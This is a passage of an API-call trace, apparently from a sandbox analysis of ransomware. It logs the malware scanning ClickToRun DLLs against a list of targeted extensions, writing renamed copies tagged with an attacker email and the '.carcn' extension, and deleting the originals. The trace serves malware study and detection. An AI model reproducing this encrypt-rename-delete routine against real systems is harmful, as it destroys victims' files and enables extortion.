[0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString=".dbf") returned 4 [0292.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString=".1cd") returned 4 [0292.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString=".jpg") returned 4 [0292.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString=".doc") returned 4 [0292.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.242] lstrlenW (lpString=".docx") returned 5 [0292.242] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.243] lstrlenW (lpString=".pdf") returned 4 [0292.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.243] lstrlenW (lpString=".xls") returned 4 [0292.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.243] lstrlenW (lpString=".xlsx") returned 5 [0292.243] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.243] lstrlenW (lpString=".ppt") returned 4 [0292.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.243] lstrlenW (lpString=".zip") returned 4 [0292.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.243] lstrlenW (lpString=".rar") returned 4 [0292.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.243] lstrlenW (lpString=".bz2") returned 4 [0292.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.243] lstrlenW (lpString=".7z") returned 3 [0292.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.243] lstrlenW (lpString=".dbf") returned 4 [0292.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.243] lstrlenW (lpString=".1cd") returned 4 [0292.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.243] lstrlenW (lpString=".jpg") returned 4 [0292.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.244] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.244] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0292.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.244] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19648) returned 1 [0292.244] CloseHandle (hObject=0x358) returned 1 [0292.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0292.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.245] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.245] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.246] GetLastError () returned 0x0 [0292.246] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0292.258] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0292.260] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.260] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x110, lpOverlapped=0x0) returned 1 [0292.260] SetEndOfFile (hFile=0x35c) returned 1 [0292.260] CloseHandle (hObject=0x35c) returned 1 [0292.260] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.260] SetEndOfFile (hFile=0x358) returned 1 [0292.261] CloseHandle (hObject=0x358) returned 1 [0292.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0292.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.263] lstrlenW (lpString=".doc") returned 4 [0292.263] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString=".docx") returned 5 [0292.263] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.263] lstrlenW (lpString=".pdf") returned 4 [0292.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString=".xls") returned 4 [0292.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString=".xlsx") returned 5 [0292.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.263] lstrlenW (lpString=".ppt") returned 4 [0292.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.263] lstrlenW (lpString=".zip") returned 4 [0292.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString=".rar") returned 4 [0292.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.263] lstrlenW (lpString=".bz2") returned 4 [0292.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.263] lstrlenW (lpString=".7z") returned 3 [0292.264] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString=".dbf") returned 4 [0292.264] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString=".1cd") returned 4 [0292.264] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString=".jpg") returned 4 [0292.264] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString=".doc") returned 4 [0292.264] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.264] lstrlenW (lpString=".docx") returned 5 [0292.264] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.264] lstrlenW (lpString=".pdf") returned 4 [0292.264] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.264] lstrlenW (lpString=".xls") returned 4 [0292.264] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.264] lstrlenW (lpString=".xlsx") returned 5 [0292.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.264] lstrlenW (lpString=".ppt") returned 4 [0292.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.264] lstrlenW (lpString=".zip") returned 4 [0292.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.265] lstrlenW (lpString=".rar") returned 4 [0292.265] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.265] lstrlenW (lpString=".bz2") returned 4 [0292.265] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.265] lstrlenW (lpString=".7z") returned 3 [0292.265] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.265] lstrlenW (lpString=".dbf") returned 4 [0292.265] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.265] lstrlenW (lpString=".1cd") returned 4 [0292.265] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0292.265] lstrlenW (lpString=".jpg") returned 4 [0292.265] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.265] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.265] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0292.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.266] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=27840) returned 1 [0292.266] CloseHandle (hObject=0x358) returned 1 [0292.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0292.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.266] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.267] GetLastError () returned 0x0 [0292.267] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0292.281] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0292.283] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.283] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x110, lpOverlapped=0x0) returned 1 [0292.283] SetEndOfFile (hFile=0x35c) returned 1 [0292.283] CloseHandle (hObject=0x35c) returned 1 [0292.283] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.283] SetEndOfFile (hFile=0x358) returned 1 [0293.050] CloseHandle (hObject=0x358) returned 1 [0293.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0293.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.071] lstrlenW (lpString=".doc") returned 4 [0293.071] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.071] lstrlenW (lpString=".docx") returned 5 [0293.071] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.071] lstrlenW (lpString=".pdf") returned 4 [0293.071] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString=".xls") returned 4 [0293.072] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString=".xlsx") returned 5 [0293.072] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.072] lstrlenW (lpString=".ppt") returned 4 [0293.072] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString=".zip") returned 4 [0293.072] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString=".rar") returned 4 [0293.072] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString=".bz2") returned 4 [0293.072] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.072] lstrlenW (lpString=".7z") returned 3 [0293.072] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString=".dbf") returned 4 [0293.072] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString=".1cd") returned 4 [0293.072] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString=".jpg") returned 4 [0293.072] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.072] lstrlenW (lpString=".doc") returned 4 [0293.072] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.072] lstrlenW (lpString=".docx") returned 5 [0293.073] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.073] lstrlenW (lpString=".pdf") returned 4 [0293.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.073] lstrlenW (lpString=".xls") returned 4 [0293.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.073] lstrlenW (lpString=".xlsx") returned 5 [0293.073] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.073] lstrlenW (lpString=".ppt") returned 4 [0293.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.073] lstrlenW (lpString=".zip") returned 4 [0293.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.073] lstrlenW (lpString=".rar") returned 4 [0293.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.073] lstrlenW (lpString=".bz2") returned 4 [0293.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.073] lstrlenW (lpString=".7z") returned 3 [0293.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.073] lstrlenW (lpString=".dbf") returned 4 [0293.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.073] lstrlenW (lpString=".1cd") returned 4 [0293.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0293.073] lstrlenW (lpString=".jpg") returned 4 [0293.073] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.074] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.074] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0293.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.074] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=307416) returned 1 [0293.074] CloseHandle (hObject=0x358) returned 1 [0293.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0293.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.075] lstrlenW (lpString=".doc") returned 4 [0293.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString=".docx") returned 5 [0293.075] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0293.075] lstrlenW (lpString=".pdf") returned 4 [0293.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString=".xls") returned 4 [0293.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString=".xlsx") returned 5 [0293.075] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0293.075] lstrlenW (lpString=".ppt") returned 4 [0293.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.075] lstrlenW (lpString=".zip") returned 4 [0293.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString=".rar") returned 4 [0293.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.075] lstrlenW (lpString=".bz2") returned 4 [0293.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.075] lstrlenW (lpString=".7z") returned 3 [0293.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.076] lstrlenW (lpString=".dbf") returned 4 [0293.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.076] lstrlenW (lpString=".1cd") returned 4 [0293.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.076] lstrlenW (lpString=".jpg") returned 4 [0293.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.076] lstrlenW (lpString=".doc") returned 4 [0293.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.076] lstrlenW (lpString=".docx") returned 5 [0293.076] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0293.076] lstrlenW (lpString=".pdf") returned 4 [0293.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.076] lstrlenW (lpString=".xls") returned 4 [0293.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.076] lstrlenW (lpString=".xlsx") returned 5 [0293.076] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0293.076] lstrlenW (lpString=".ppt") returned 4 [0293.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.077] lstrlenW (lpString=".zip") returned 4 [0293.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.077] lstrlenW (lpString=".rar") returned 4 [0293.080] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.080] lstrlenW (lpString=".bz2") returned 4 [0293.080] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.080] lstrlenW (lpString=".7z") returned 3 [0293.080] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 